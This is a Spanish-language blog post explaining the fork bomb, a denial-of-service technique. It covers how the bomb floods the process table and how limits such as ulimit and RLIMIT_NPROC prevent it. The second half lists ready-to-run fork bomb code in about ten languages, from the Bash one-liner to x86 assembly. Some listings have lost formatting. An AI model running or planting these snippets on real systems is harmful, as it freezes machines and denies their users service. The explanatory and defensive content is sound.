Bomba Fork

Hace tiempo estábamos varios integrantes del blog jugando con esto en nuestras computadoras (en si, fue por diversión y tenía que ver con el comando Fork que nos dejaron para una practica :P) y a pesar de que no es código que nos haya servido de mucho, por lo menos nos pasamos un rato viendo cuanto aguantaban las computadoras hasta que se quedaban paralizadas por todos los procesos que se creaban (lo mas curioso es que la computadora de Brooklyn, que también es la mas vieja, fue la única que sobrevivió aunque fuera una vez y todo porque le marcó un error antes de que se quedara paralizada :P).

------------------------------------------------------------------------------------------------

La bomba fork es una forma de ataque del tipo denegación de servicio sobre un computador que implementa la operación fork, o alguna funcionalidad equivalente mediante la cual un proceso es capaz de crear otro proceso. La bomba fork es considerado un wabbit ya que no se replica de la misma forma que los gusanos o los virus. Su efecto se basa en la suposición de que el número de programas y procesos que se ejecutan simultáneamente en un ordenador tiene un límite.

Una bomba fork funciona creando una gran cantidad de procesos muy rápidamente con el objetivo de saturar el espacio disponible en la lista de procesos mantenida por el sistema operativo del computador. Si la tabla de procesos se llega a saturar, entonces no se pueden iniciar nuevos programas hasta que no se cierre alguno. En el caso que esto suceda, es muy poco probable que se pueda iniciar un programa útil ya que los procesos de la bomba estarán esperando para poder crear nuevos procesos a la primera oportunidad que se les conceda.

Las bombas fork no sólo ocupan espacio dentro de la lista de procesos, también consumen tiempo de proceso y memoria de la máquina donde se ejecutan. Como resultado de esto, los ordenadores se vuelven lentos e incluso se pueden volver inutilizables dada la falta de memoria y la imposibilidad de aprovechar el procesador.


Una forma de prevenir el ataque de una bomba fork es limitar el número de procesos que un usuario puede ejecutar. Cuando un proceso intenta crear otro proceso y el propietario de dicho proceso ya posee la cantidad máxima de procesos que se le ha asignado, el intento de creación del nuevo proceso falla. El máximo número de procesos asignado a cada usuario debe ser lo suficientemente bajo para poder resistir la ejecución simultánea de una bomba fork por cada usuario y dejar libres los suficientes recursos como para poder restaurar el sistema.

Téngase en cuenta que la ejecución accidental de una bomba fork es altamente improbable en más de un usuario a la vez.

Los sistemas de tipo Unix típicamente tienen establecido este límite, controlado con el comando ulimit del shell. En los kernel Linux existe una variable llamada RLIMIT_NPROC, que indica la cantidad máxima de procesos que se puede ejecutar. Si un proceso intenta llamar a la función fork y el usuario propietario del proceso ya tiene igual o más procesos que los indicados en RLIMIT_NPROC la llamada a la función fallará.

Otra solución implica la detección de bombas fork antes de su ejecución por parte del sistema operativo, aunque eso supone más gasto de recursos por parte del sistema. Existe un módulo para el Kernel de Linux.


Ejemplos:
-Bash:

:(){ :|:& };:

-Microsoft Windows, batch:

%0|%0

Otro ejemplo seria:

:s
start %0
%0|%0
goto :s

-En Perl:

#!/usr/bin/perl
while(1) { fork(); }

Otro ejemplo seria:

fork while fork

-En Haskell:

import Control.Monad
import System.Posix.Process

forkBomb = forever $ forkProcess forkBomb

-En Python:

import os

while True:
os.fork()

-En Ruby:

def frk
Kernel.fork {frk}
end

loop do
frk
end

-En C:

#include

int main(int argc, char* argv[])
{
while(1)
fork();
return 0;
}

-EnPHP (probablemente en sistemas compatibles con POSIX):

while(1)
pcntl_fork();

-En ensamblador x86 para Linux (ensamblar con FASM):

format ELF executable
entry start
start:
push 0x2 ; Linux fork system call
pop eax ;
int 0x80 ; Call to the kernel
jmp start ; Loop back to the start

-En Lisp

(defmacro wabbit () ;; A program that writes code.
(let ((fname (gentemp 'INET)))
`(progn
(defun ,fname () ;; Generate.
nil)
(wabbit))))

(wabbit) ;; Start multiplying.

-------------------------------------------------------------------------------------------------

Fuentes:

http://en.wikipedia.org/wiki/Fork_bomb
http://es.wikipedia.org/wiki/Bomba_fork